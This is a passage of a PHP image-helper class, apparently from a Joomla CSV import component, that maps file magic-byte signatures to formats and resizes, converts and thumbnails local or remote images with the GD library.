		$this->_mime_types[72]['signature'] = '4D4D2A';
		$this->_mime_types[73]['signature'] = '554641';
		$this->_mime_types[74]['signature'] = '57415645666D74';
		$this->_mime_types[75]['signature'] = 'D7CDC69A';
		$this->_mime_types[76]['signature'] = '4C000000';
		$this->_mime_types[77]['signature'] = '504B3030504B0304';
		$this->_mime_types[78]['signature'] = 'FF575047';
		$this->_mime_types[79]['signature'] = 'FF575043';
		$this->_mime_types[80]['signature'] = '3C3F786D6C';
		$this->_mime_types[81]['signature'] = 'FFFE3C0052004F004F0054005300540055004200';
		$this->_mime_types[82]['signature'] = '3C21454E54495459';
		$this->_mime_types[83]['signature'] = '5A4F4F20';
		$this->_mime_types[84]['signature'] = 'FFD8FFFE';
		$this->_mime_types[85]['signature'] = 'FFD8FFE0';
		$this->_mime_types[86]['signature'] = 'FFD8FFE1';
		$this->_mime_types[87]['signature'] = 'FFD8FFDB';
		$this->_mime_types[88]['signature'] = '474946383961';

		// Extensions
		$this->_mime_types[0]['extension'] = '.gif';
		$this->_mime_types[1]['extension'] = '.bmp';
		$this->_mime_types[2]['extension'] = '.exe;.com;.386;.ax;.acm;.sys;.dll;.drv;.flt;.fon;.ocx;.scr;.lrc;.vxd;.cpl;.x32';
		$this->_mime_types[3]['extension'] = '.zip';
		$this->_mime_types[4]['extension'] = '.doc;.xls;.xlt;.ppt;.apr';
		$this->_mime_types[5]['extension'] = '.emf';
		$this->_mime_types[6]['extension'] = '.evt';
		$this->_mime_types[7]['extension'] = '.gid;.hlp;.lhp';
		$this->_mime_types[8]['extension'] = '.gz';
		$this->_mime_types[9]['extension'] = '.hqx';
		$this->_mime_types[10]['extension'] = '.ico';
		$this->_mime_types[11]['extension'] = '.lnk';
		$this->_mime_types[12]['extension'] = '.pdf';
		$this->_mime_types[13]['extension'] = '.reg';
		$this->_mime_types[14]['extension'] = '.rtf';
		$this->_mime_types[15]['extension'] = '.lzh';
		$this->_mime_types[16]['extension'] = '.mid';
		$this->_mime_types[17]['extension'] = '.pcx';
		$this->_mime_types[18]['extension'] = '.eps';
		$this->_mime_types[19]['extension'] = '.ain';
		$this->_mime_types[20]['extension'] = '.arc';
		$this->_mime_types[21]['extension'] = '.arc';
		$this->_mime_types[22]['extension'] = '.arc';
		$this->_mime_types[23]['extension'] = '.arc';
		$this->_mime_types[24]['extension'] = '.arc';
		$this->_mime_types[25]['extension'] = '.arj';
		$this->_mime_types[26]['extension'] = '.avi';
		$this->_mime_types[27]['extension'] = '.bz;.bz2';
		$this->_mime_types[28]['extension'] = '.cab';
		$this->_mime_types[29]['extension'] = '.obj';
		$this->_mime_types[30]['extension'] = '.tar;.cpio';
		$this->_mime_types[31]['extension'] = '.cru;.crush';
		$this->_mime_types[32]['extension'] = '.dcx';
		$this->_mime_types[33]['extension'] = '.gz;.tar;.tgz';
		$this->_mime_types[34]['extension'] = '.hap';
		$this->_mime_types[35]['extension'] = '.htm;.html';
		$this->_mime_types[36]['extension'] = '.htm;.html';
		$this->_mime_types[37]['extension'] = '.htm;.html';
		$this->_mime_types[38]['extension'] = '.ico';
		$this->_mime_types[39]['extension'] = '.jar';
		$this->_mime_types[40]['extension'] = '.lha';
		$this->_mime_types[41]['extension'] = '.wk1;.wks';
		$this->_mime_types[42]['extension'] = '.fm3';
		$this->_mime_types[43]['extension'] = '.wk3';
		$this->_mime_types[44]['extension'] = '.fmt';
		$this->_mime_types[45]['extension'] = '.wk4';
		$this->_mime_types[46]['extension'] = '.ami';
		$this->_mime_types[47]['extension'] = '.adx';
		$this->_mime_types[48]['extension'] = '.nsf;.ntf';
		$this->_mime_types[49]['extension'] = '.ds4';
		$this->_mime_types[50]['extension'] = '.cab';
		$this->_mime_types[51]['extension'] = '.mid';
		$this->_mime_types[52]['extension'] = '.mpg;.mpeg';
		$this->_mime_types[53]['extension'] = '.xls';
		$this->_mime_types[54]['extension'] = '.xls';
		$this->_mime_types[55]['extension'] = '.doc';
		$this->_mime_types[56]['extension'] = '.doc';
		$this->_mime_types[57]['extension'] = '.doc';
		$this->_mime_types[58]['extension'] = '.nsf';
		$this->_mime_types[59]['extension'] = '.psp';
		$this->_mime_types[60]['extension'] = '.zip';
		$this->_mime_types[61]['extension'] = '.png';
		$this->_mime_types[62]['extension'] = '.mov';
		$this->_mime_types[63]['extension'] = '.qt';
		$this->_mime_types[64]['extension'] = '.rar';
		$this->_mime_types[65]['extension'] = '.ra;.ram';
		$this->_mime_types[66]['extension'] = '.rpm';
		$this->_mime_types[67]['extension'] = '.au';
		$this->_mime_types[68]['extension'] = '.sit';
		$this->_mime_types[69]['extension'] = '.sit';
		$this->_mime_types[70]['extension'] = '.z';
		$this->_mime_types[71]['extension'] = '.tif;.tiff';
		$this->_mime_types[72]['extension'] = '.tif;.tiff';
		$this->_mime_types[73]['extension'] = '.ufa';
		$this->_mime_types[74]['extension'] = '.wav';
		$this->_mime_types[75]['extension'] = '.wmf';
		$this->_mime_types[76]['extension'] = '.lnk';
		$this->_mime_types[77]['extension'] = '.zip';
		$this->_mime_types[78]['extension'] = '.wpg';
		$this->_mime_types[79]['extension'] = '.wp';
		$this->_mime_types[80]['extension'] = '.xml';
		$this->_mime_types[81]['extension'] = '.xml';
		$this->_mime_types[82]['extension'] = '.dtd';
		$this->_mime_types[83]['extension'] = '.zoo';
		$this->_mime_types[84]['extension'] = '.jpeg;.jpe;.jpg';
		$this->_mime_types[85]['extension'] = '.jpeg;.jpe;.jpg';
		$this->_mime_types[86]['extension'] = '.jpeg;.jpe;.jpg';
		$this->_mime_types[87]['extension'] = '.jpeg;.jpe;.jpg';
		$this->_mime_types[88]['extension'] = '.gif';

		// Descriptions
		$this->_mime_types[0]['description'] = 'GIF 87A';
		$this->_mime_types[1]['description'] = 'Windows Bitmap';
		$this->_mime_types[2]['description'] = 'Executable File ';
		$this->_mime_types[3]['description'] = 'Zip Compressed';
		$this->_mime_types[4]['description'] = 'MS Compound Document v1 or Lotus Approach APR file';
		$this->_mime_types[5]['description'] = 'xtended (Enhanced) Windows Metafile Format';
		$this->_mime_types[6]['description'] = 'Windows NT/2000 Event Viewer Log File';
		$this->_mime_types[7]['description'] = 'Windows Help File';
		$this->_mime_types[8]['description'] = 'GZ Compressed File';
		$this->_mime_types[9]['description'] = 'Macintosh BinHex 4 Compressed Archive';
		$this->_mime_types[10]['description'] = 'Icon File';
		$this->_mime_types[11]['description'] = 'Windows Link File';
		$this->_mime_types[12]['description'] = 'Adobe PDF File';
		$this->_mime_types[13]['description'] = 'Registry Data File';
		$this->_mime_types[14]['description'] = 'Rich Text Format File';
		$this->_mime_types[15]['description'] = 'Lzh compression file';
		$this->_mime_types[16]['description'] = 'Musical Instrument Digital Interface MIDI-sequention Sound';
		$this->_mime_types[17]['description'] = 'PC Paintbrush Bitmap Graphic';
		$this->_mime_types[18]['description'] = 'Adobe EPS File';
		$this->_mime_types[19]['description'] = 'AIN Archive File';
		$this->_mime_types[20]['description'] = 'ARC/PKPAK Compressed 1';
		$this->_mime_types[21]['description'] = 'ARC/PKPAK Compressed 2';
		$this->_mime_types[22]['description'] = 'ARC/PKPAK Compressed 3';
		$this->_mime_types[23]['description'] = 'ARC/PKPAK Compressed 4';
		$this->_mime_types[24]['description'] = 'ARC/PKPAK Compressed 5';
		$this->_mime_types[25]['description'] = 'ARJ Compressed';
		$this->_mime_types[26]['description'] = 'Audio Video Interleave (AVI)';
		$this->_mime_types[27]['description'] = 'Bzip Archive';
		$this->_mime_types[28]['description'] = 'Cabinet File';
		$this->_mime_types[29]['description'] = 'Compiled Object Module';
		$this->_mime_types[30]['description'] = 'CPIO Archive File';
		$this->_mime_types[31]['description'] = 'CRUSH Archive File';
		$this->_mime_types[32]['description'] = 'DCX Graphic File';
		$this->_mime_types[33]['description'] = 'Gzip Archive File';
		$this->_mime_types[34]['description'] = 'HAP Archive File';
		$this->_mime_types[35]['description'] = 'HyperText Markup Language 1';
		$this->_mime_types[36]['description'] = 'HyperText Markup Language 2';
		$this->_mime_types[37]['description'] = 'HyperText Markup Language 3';
		$this->_mime_types[38]['description'] = 'ICON File';
		$this->_mime_types[39]['description'] = 'JAR Archive File';
		$this->_mime_types[40]['description'] = 'LHA Compressed';
		$this->_mime_types[41]['description'] = 'Lotus 123 v1 Worksheet';
		$this->_mime_types[42]['description'] = 'Lotus 123 v3 FMT file';
		$this->_mime_types[43]['description'] = 'Lotus 123 v3 Worksheet';
		$this->_mime_types[44]['description'] = 'Lotus 123 v4 FMT file';
		$this->_mime_types[45]['description'] = 'Lotus 123 v5';
		$this->_mime_types[46]['description'] = 'Lotus Ami Pro';
		$this->_mime_types[47]['description'] = 'Lotus Approach ADX file';
		$this->_mime_types[48]['description'] = 'Lotus Notes Database/Template';
		$this->_mime_types[49]['description'] = 'Micrografix Designer 4';
		$this->_mime_types[50]['description'] = 'Microsoft CAB File Format';
		$this->_mime_types[51]['description'] = 'Midi Audio File';
		$this->_mime_types[52]['description'] = 'MPEG Movie';
		$this->_mime_types[53]['description'] = 'MS Excel v2';
		$this->_mime_types[54]['description'] = 'MS Excel v4';
		$this->_mime_types[55]['description'] = 'MS Word';
		$this->_mime_types[56]['description'] = 'MS Word 6.0';
		$this->_mime_types[57]['description'] = 'MS Word for DOS 6.0';
		$this->_mime_types[58]['description'] = 'Notes Database';
		$this->_mime_types[59]['description'] = 'PaintShop Pro Image File';
		$this->_mime_types[60]['description'] = 'PKZIP Compressed';
		$this->_mime_types[61]['description'] = 'PNG Image File';
		$this->_mime_types[62]['description'] = 'QuickTime Movie';
		$this->_mime_types[63]['description'] = 'Quicktime Movie File';
		$this->_mime_types[64]['description'] = 'RAR Archive File';
		$this->_mime_types[65]['description'] = 'Real Audio File';
		$this->_mime_types[66]['description'] = 'RPM Archive File';
		$this->_mime_types[67]['description'] = 'SoundMachine Audio File';
		$this->_mime_types[68]['description'] = 'Stuffit v1 Archive File';
		$this->_mime_types[69]['description'] = 'Stuffit v5 Archive File';
		$this->_mime_types[70]['description'] = 'TAR Compressed Archive File';
		$this->_mime_types[71]['description'] = 'TIFF (Intel)';
		$this->_mime_types[72]['description'] = 'TIFF (Motorola)';
		$this->_mime_types[73]['description'] = 'UFA Archive File';
		$this->_mime_types[74]['description'] = 'Wave Files';
		$this->_mime_types[75]['description'] = 'Windows Meta File';
		$this->_mime_types[76]['description'] = 'Windows Shortcut (Link File)';
		$this->_mime_types[77]['description'] = 'WINZIP Compressed';
		$this->_mime_types[78]['description'] = 'WordPerfect Graphics';
		$this->_mime_types[79]['description'] = 'WordPerfect v5 or v6';
		$this->_mime_types[80]['description'] = 'XML Document';
		$this->_mime_types[81]['description'] = 'XML Document (ROOTSTUB)';
		$this->_mime_types[82]['description'] = 'XML DTD';
		$this->_mime_types[83]['description'] = 'ZOO Archive File';
		$this->_mime_types[84]['description'] = 'JPG Graphic File';
		$this->_mime_types[85]['description'] = 'JPG Graphic File';
		$this->_mime_types[86]['description'] = 'JPG Graphic File';
		$this->_mime_types[87]['description'] = 'JPG Graphic File';
		$this->_mime_types[88]['description'] = 'GIF 89A';

		// Mime descriptions
		$this->_mime_types[0]['mime_type'] = 'image/gif';
		$this->_mime_types[1]['mime_type'] = 'image/bmp';
		$this->_mime_types[2]['mime_type'] = '';
		$this->_mime_types[3]['mime_type'] = '';
		$this->_mime_types[4]['mime_type'] = '';
		$this->_mime_types[5]['mime_type'] = '';
		$this->_mime_types[6]['mime_type'] = '';
		$this->_mime_types[7]['mime_type'] = '';
		$this->_mime_types[8]['mime_type'] = '';
		$this->_mime_types[9]['mime_type'] = '';
		$this->_mime_types[10]['mime_type'] = '';
		$this->_mime_types[11]['mime_type'] = '';
		$this->_mime_types[12]['mime_type'] = 'application/pdf';
		$this->_mime_types[13]['mime_type'] = '';
		$this->_mime_types[14]['mime_type'] = '';
		$this->_mime_types[15]['mime_type'] = '';
		$this->_mime_types[16]['mime_type'] = '';
		$this->_mime_types[17]['mime_type'] = '';
		$this->_mime_types[18]['mime_type'] = '';
		$this->_mime_types[19]['mime_type'] = '';
		$this->_mime_types[20]['mime_type'] = '';
		$this->_mime_types[21]['mime_type'] = '';
		$this->_mime_types[22]['mime_type'] = '';
		$this->_mime_types[23]['mime_type'] = '';
		$this->_mime_types[24]['mime_type'] = '';
		$this->_mime_types[25]['mime_type'] = '';
		$this->_mime_types[26]['mime_type'] = '';
		$this->_mime_types[27]['mime_type'] = '';
		$this->_mime_types[28]['mime_type'] = '';
		$this->_mime_types[29]['mime_type'] = '';
		$this->_mime_types[30]['mime_type'] = '';
		$this->_mime_types[31]['mime_type'] = '';
		$this->_mime_types[32]['mime_type'] = '';
		$this->_mime_types[33]['mime_type'] = '';
		$this->_mime_types[34]['mime_type'] = '';
		$this->_mime_types[35]['mime_type'] = '';
		$this->_mime_types[36]['mime_type'] = '';
		$this->_mime_types[37]['mime_type'] = '';
		$this->_mime_types[38]['mime_type'] = '';
		$this->_mime_types[39]['mime_type'] = '';
		$this->_mime_types[40]['mime_type'] = '';
		$this->_mime_types[41]['mime_type'] = '';
		$this->_mime_types[42]['mime_type'] = '';
		$this->_mime_types[43]['mime_type'] = '';
		$this->_mime_types[44]['mime_type'] = '';
		$this->_mime_types[45]['mime_type'] = '';
		$this->_mime_types[46]['mime_type'] = '';
		$this->_mime_types[47]['mime_type'] = '';
		$this->_mime_types[48]['mime_type'] = '';
		$this->_mime_types[49]['mime_type'] = '';
		$this->_mime_types[50]['mime_type'] = '';
		$this->_mime_types[51]['mime_type'] = '';
		$this->_mime_types[52]['mime_type'] = '';
		$this->_mime_types[53]['mime_type'] = '';
		$this->_mime_types[54]['mime_type'] = '';
		$this->_mime_types[55]['mime_type'] = '';
		$this->_mime_types[56]['mime_type'] = '';
		$this->_mime_types[57]['mime_type'] = '';
		$this->_mime_types[58]['mime_type'] = '';
		$this->_mime_types[59]['mime_type'] = '';
		$this->_mime_types[60]['mime_type'] = '';
		$this->_mime_types[61]['mime_type'] = 'image/png';
		$this->_mime_types[62]['mime_type'] = '';
		$this->_mime_types[63]['mime_type'] = '';
		$this->_mime_types[64]['mime_type'] = '';
		$this->_mime_types[65]['mime_type'] = '';
		$this->_mime_types[66]['mime_type'] = '';
		$this->_mime_types[67]['mime_type'] = '';
		$this->_mime_types[68]['mime_type'] = '';
		$this->_mime_types[69]['mime_type'] = '';
		$this->_mime_types[70]['mime_type'] = '';
		$this->_mime_types[81]['mime_type'] = '';
		$this->_mime_types[82]['mime_type'] = '';
		$this->_mime_types[83]['mime_type'] = '';
		$this->_mime_types[84]['mime_type'] = 'image/jpeg';
		$this->_mime_types[85]['mime_type'] = 'image/jpeg';
		$this->_mime_types[86]['mime_type'] = 'image/jpeg';
		$this->_mime_types[87]['mime_type'] = 'image/jpeg';
		$this->_mime_types[88]['mime_type'] = 'image/gif';
	}

	/**
	 * Load known image types
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return 		void
	 * @since 		3.0
	 */
	private function loadImageTypes() {
		$this->_image_types[0]['mime_type'] = 'image/gif';
		$this->_image_types[1]['mime_type'] = 'image/bmp';
		$this->_image_types[2]['mime_type'] = 'image/png';
		$this->_image_types[3]['mime_type'] = 'image/jpeg';
		$this->_image_types[4]['mime_type'] = 'image/jpeg';
		$this->_image_types[5]['mime_type'] = 'image/gif';
	}

	/**
	 * Convert/Resize an image
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		array	$thumb_file_details	contains all the variables for creating a new image
	 * @return 		mixed	filename of created file if file has been created / false if file has not been created
	 * @since 		3.0
	 */
	public function convertImage($file_details) {
		// Set all details
		foreach ($file_details as $type => $value) {
			switch ($type) {
				case 'maxsize':
					if ($value) $this->maxSize = true;
					else $this->maxSize = false;
					break;
				case 'bgred':
					if ($file_details['bgred'] >= 0 || $file_details['bgred'] <= 255) $this->bg_red = $file_details['bgred'];
					else $this->bg_red = 0;
					break;
				case 'bggreen':
					if($file_details['bggreen'] >= 0 || $file_details['bggreen'] <= 255) $this->bg_green = $file_details['bggreen'];
					else $this->bg_green = 0;
					break;
				case 'bgblue':
					if($file_details['bgblue'] >= 0 || $file_details['bgblue'] <= 255) $this->bg_blue = $file_details['bgblue'];
					else $this->bg_blue = 0;
					break;
				default:
					$this->$type = $value;
					break;
			}
		}
		if ($this->newImgCreate()) {
			return $this->file_out;
		}
		else return false;
	}

	/**
	 * Start creating the new image
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return 		boolean	true on success | false on failure
	 * @since 		3.0
	 */
	private function newImgCreate() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		// Clear the cache
		clearstatcache();

		switch(strtolower($this->mime_type)) {
			case 'image/gif':
				if( function_exists('imagecreatefromgif') ) {
					$orig_img = @imagecreatefromgif($this->file);
					break;
				}
				else return false;
			case 'image/jpg':
			case 'image/jpeg':
				if (function_exists('imagecreatefromjpeg')) {
					$orig_img = @imagecreatefromjpeg($this->file);
					break;
				}
				else {
					return false;
				}
				break;
			case 'image/png':
				if( function_exists('imagecreatefrompng') ) {
					$orig_img = @imagecreatefrompng($this->file);
					break;
				}
				else return false;
				break;
			default:
				return false;
				break;
		}
		if ($orig_img) {
			$csvilog->addDebug(JText::_('COM_CSVI_SAVING_NEW_IMAGE'));
			// Save the new image
			$img_resize = $this->NewImgSave($this->NewImgResize($orig_img));
			// Clean up old image
			ImageDestroy($orig_img);
		}
		else {
			$csvilog->addDebug(JText::_('COM_CSVI_CANNOT_READ_ORIGINAL_IMAGE'));
			$img_resize = false;
		}

		if ($img_resize) return true;
		else return false;
	}

	/**
	 * Resize the image
	 *
	 * Includes function ImageCreateTrueColor and ImageCopyResampled which are available only under GD 2.0.1 or higher !
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo		Fix docbloc
	 * @see
	 * @access 		private
	 * @param 		$orig_img
	 * @return
	 * @since 		3.0
	 */
	private function NewImgResize($orig_img) {
		$orig_size = getimagesize($this->file);

		$maxX = $this->file_out_width;
		$maxY = $this->file_out_height;

		if ($orig_size[0] < $orig_size[1]) {
			$this->file_out_width = $this->file_out_height* ($orig_size[0]/$orig_size[1]);
			$adjustX = ($maxX - $this->file_out_width)/2;
			$adjustY = 0;
		}
		else {
			$this->file_out_height = $this->file_out_width / ($orig_size[0]/$orig_size[1]);
			$adjustX = 0;
			$adjustY = ($maxY - $this->file_out_height)/2;
		}

		while ($this->file_out_width < 1 || $this->file_out_height < 1) {
			$this->file_out_width*= 2;
			$this->file_out_height*= 2;
		}

		// See if we need to create an image at maximum size
		if ($this->maxSize) {
			if (function_exists("imagecreatetruecolor")) $im_out = imagecreatetruecolor($maxX,$maxY);
			else $im_out = imagecreate($maxX,$maxY);

			if ($im_out) {
				// Need to image fill just in case image is transparent, don't always want black background
				$bgfill = imagecolorallocate( $im_out, $this->bg_red, $this->bg_green, $this->bg_blue );

				if (function_exists("imageAntiAlias")) imageAntiAlias($im_out,true);
				imagealphablending($im_out, false);

				if (function_exists("imagesavealpha")) imagesavealpha($im_out,true);

				if (function_exists( "imagecolorallocatealpha")) $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127);

				if (function_exists("imagecopyresampled")) ImageCopyResampled($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]);
				else ImageCopyResized($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]);
			}
			else return false;
		}
		else {
			if (function_exists("imagecreatetruecolor")) $im_out = ImageCreateTrueColor($this->file_out_width,$this->file_out_height);
			else $im_out = imagecreate($this->file_out_width,$this->file_out_height);

			if ($im_out) {
				if (function_exists("imageAntiAlias")) imageAntiAlias($im_out,true);
				imagealphablending($im_out, false);

				if (function_exists("imagesavealpha")) imagesavealpha($im_out,true);
				if (function_exists("imagecolorallocatealpha")) $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127);

				if (function_exists("imagecopyresampled")) ImageCopyResampled($im_out, $orig_img, 0, 0, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]);
				else ImageCopyResized($im_out, $orig_img, 0, 0, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]);
			}
			else return false;
		}

		return $im_out;
	}

	/**
	 * Save the new image
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo		Add check if destination folder exists
	 * @todo		Fix docbloc
	 * @see
	 * @access 		private
	 * @param 		$new_img
	 * @return
	 * @since 		3.0
	 */
	private function NewImgSave($new_img) {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		// Lets see if we need to rename the output file since we know the sizes
		switch(strtolower($this->file_out_extension)) {
			case "gif":
				if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".gif") $this->file_out .= ".gif";
				return @imagegif($new_img, $this->file_out);
				break;
			case "jpg":
				if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".jpg") $this->file_out .= ".jpg";
				return @imagejpeg($new_img, $this->file_out, 100);
				break;
			case "jpeg":
				if (strtolower(substr($this->file_out,strlen($this->file_out)-5,5)) != ".jpeg") $this->file_out .= ".jpeg";
				return @imagejpeg($new_img, $this->file_out, 100);
				break;
			case "png":
				if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".png") $this->file_out .= ".png";
				return @imagepng($new_img,$this->file_out);
				break;
			default:
				$csvilog->addDebug(JText::_('COM_CSVI_NO_FILE_EXTENSION'));
				return false;
				break;
		}
	}

	/**
	 * Process an image
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		string	$name	full path and name of the image
	 * @param		string	$path	the destination location of the image
	 * @param		string	$output_name	name of the output image
	 * @return
	 * @since 		3.0
	 */
	public function processImage($name, $output_path, $output_name=null) {
		// Set up variables
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$csvilog = $jinput->get('csvilog', null, null);

		// Cleanup
		$base = JPath::clean(JPATH_SITE, '/');
		if (!empty($output_path)) $output_path = JPath::clean($output_path, '/');

		$this->_imagedata = array();
		$this->_imagedata['base'] = $base;
		if ($this->isRemote($name)) {
			$this->_imagedata['name'] = $name;
			$this->_imagedata['isremote'] = true;
		}
		else {
			$this->_imagedata['name'] = $base.'/'.JPath::clean($name, '/');
			$this->_imagedata['isremote'] = false;
		}
		$this->_imagedata['output_path'] = $output_path;
		$this->_imagedata['output_name'] = (empty($output_name)) ? basename($name) : $output_name;
		$this->_imagedata['extension'] = JFile::getExt($name);
		$this->_imagedata['exists'] = false;
		$this->_imagedata['isimage'] = false;
		$this->_imagedata['mime_type'] = null;

		// Load externals
		jimport('joomla.filesystem.folder');
		jimport('joomla.filesystem.file');

		// See if we need to handle a remote file
		if ($this->_imagedata['isremote']) {
			$csvilog->addDebug('Process remote file: '.$this->_imagedata['name']);
			if (CsviHelper::fileExistsRemote($this->_imagedata['name'])) {
				$this->_imagedata['exists'] = true;
				// Check if this is an image or not
				if ($this->isImage($this->_imagedata['name'], true)) {
					$this->_imagedata['isimage'] = true;
				}
			}
			else {
				$csvilog->addDebug('Remote file does not exist: '.$this->_imagedata['name']);
				$this->_imagedata['exists'] = false;
			}
		}
		else if (JFile::exists($this->_imagedata['name'])) {
			$csvilog->addDebug('Process file: '.$this->_imagedata['name']);
			$this->_imagedata['exists'] = true;
			// Check if this is an image or not
			if ($this->isImage($this->_imagedata['name'])) {
				$this->_imagedata['isimage'] = true;
			}
		}
		else {
			// File does not exist
			$csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_NOT_FOUND', $this->_imagedata['name']));
			return $this->_imagedata;
		}

		// Process if it is an image
		if ($this->_imagedata['isimage']) {
			$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_IMAGE'));

			// Clean up the images first
			$this->_cleanupImage();

			// Convert the full image
			if ($this->_imagedata['convert']) $this->_convertImage();

			// Save the remote images on the server
			if ($this->_imagedata['isremote'] && $template->get('save_images_on_server', 'image')) {
				// Sanitize filename
				$this->_imagedata['output_name'] = $this->_cleanFilename($this->_imagedata['output_name']);
				$from = $this->_imagedata['name'];
				$to = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name'];
				$csvilog->addDebug('Store remote file on server '.$from.' --> '.$to);
				if (JFile::exists($to)) JFile::delete($to);
				JFile::move($from, $to);
			}
			// Remove temporary file
			else if ($this->_imagedata['isremote']) {
				JFile::delete($this->_imagedata['name']);
			}

			// Check if any images need to be renamed
			$this->_renameImage();

			// Check if the full image needs to be resized
			$this->_resizeFullimage();

			// Convert images
			$this->_imageTypeCheck();
		}
		else {
			if ($this->_imagedata['exists']) {
				$csvilog->addDebug('COM_CSVI_DEBUG_FILE_IS_NOT_IMAGE'.' '.$name);

			// Non image details
			$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_NON_IMAGE'));
			$this->collectFileDetails();
		}
		}

		return $this->_imagedata;
	}

	/**
	 * Check if a file is a remote file or not
	 *
	 * Remote images can be located on an HTTP location or an FTP location
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see 		processImage()
	 * @access 		private
	 * @param 		$path 	string	the full path to check
	 * @return		bool 	true if file is remote | false if file is not remote
	 * @since 		3.0
	 */
	public function isRemote($path) {
		if (substr(strtolower($path), 0, 4) == 'http') return true;
		else if (substr(strtolower($path), 0, 3) == 'ftp') return true;
		else return false;
	}

	/**
	 * Collect file details for non-image files
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		2.3.10
	 */
	public function collectFileDetails() {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$this->_imagedata['mime_type'] = $this->findMimeType($this->_imagedata['name']);
		$this->_imagedata['isimage'] = 0;
	}

	/**
	 * Create a thumbnail image
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param		string 	$original		the full path and name of the large image
	 * @param		string	$output_path	the path to store the thumbnail
	 * @param		string	$output_name	the name of the thumbnail
	 * @return
	 * @since 		4.0
	 */
	public function createThumbnail($original, $output_path, $output_name) {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$csvilog = $jinput->get('csvilog', null, null);
		$base = JPath::clean(JPATH_SITE, '/');

		// Make sure the thumbnail is the same file type as the full image
		if ($template->get('thumb_check_filetype', 'image') && JFile::getExt($original) != JFile::getExt($output_name)) {
			$output_name = JFile::stripExt($output_name).'.'.JFile::getExt($original);
		}

		$output_name = $this->_setCase($output_name);

		// Check if the original is an external image
		if (!$this->isRemote($original)) {
			$original = $base.'/'.$original;
			$file_exists = JFile::exists($original);
			$remote = false;
		}
		else {
			$file_exists = CsviHelper::fileExistsRemote($original);
			$remote = true;
		}


		// Check if thumbsize is greater than 0
		if ($template->get('thumb_width', 'image') >= 1 && $template->get('thumb_height', 'image') >= 1) {
			// Check if the image folders exists
			$thumb_folder = JPATH_SITE.'/'.$output_path.dirname($output_name);
			if (!JFolder::exists($thumb_folder)) {
				$csvilog->addDebug(JText::sprintf('COM_CSVI_CREATE_THUMB_FOLDER', $thumb_folder));
				JFolder::create($thumb_folder);
			}
			// Check if the target thumb exists, if yes delete it
			if (JFile::exists($base.'/'.$output_path.$output_name)) JFile::delete($base.'/'.$output_path.$output_name);
			// Check if the original file exists
			$csvilog->addDebug(JText::sprintf('COM_CSVI_CHECK_ORIGINAL', $original));
			if ($file_exists) {
				// Collect all thumbnail details
				$thumb_file_details = array();
				$thumb_file_details['file'] = $original;
				$thumb_file_details['file_extension'] = JFile::getExt($original);
				$thumb_file_details['file_out'] = $base.'/'.$output_path.$output_name;
				$thumb_file_details['maxsize'] = 0;
				$thumb_file_details['bgred'] = 255;
				$thumb_file_details['bggreen'] = 255;
				$thumb_file_details['bgblue'] = 255;
				$thumb_file_details['file_out_width'] = $template->get('thumb_width', 'image');
				$thumb_file_details['file_out_height'] = $template->get('thumb_height', 'image');
				$thumb_file_details['file_out_extension'] = JFile::getExt($output_name);
				$thumb_file_details['mime_type'] = $this->findMimeType($original, $remote);

				// We need to resize the image and Save the new one (all done in the constructor)
				$csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CREATING_A_THUMBNAIL', $original, $thumb_file_details['file_out']));
				$new_img = $this->convertImage($thumb_file_details);

				// Check if an image was created
				if ($new_img) {
					// Get the details of the thumb image
					if (JFile::exists($new_img)) {
						$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_THUMB_CREATED'));
						return $output_path.$output_name;
					}
					else {
						$csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_NOT_CREATED'));
						return false;
					}
				}
				else {
					$csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_NOT_CREATED'));
					return false;
				}
			}
			else {
				$csvilog->addDebug(JText::sprintf('COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO', $original));
				$csvilog->AddStats('nofiles', JText::sprintf('COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO', $original));
				return false;
			}
		}
		else {
			$csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL'));
			$csvilog->AddStats('incorrect', JText::_('COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL'));
			return false;
		}
	}
	/**
	 * Clean up the full image
	 *
	 * Clean up the image from any incorrect paths
	 *
	 * Minimum requirement is PHP 5.2.0
	 *
	 * [full_image] => Array
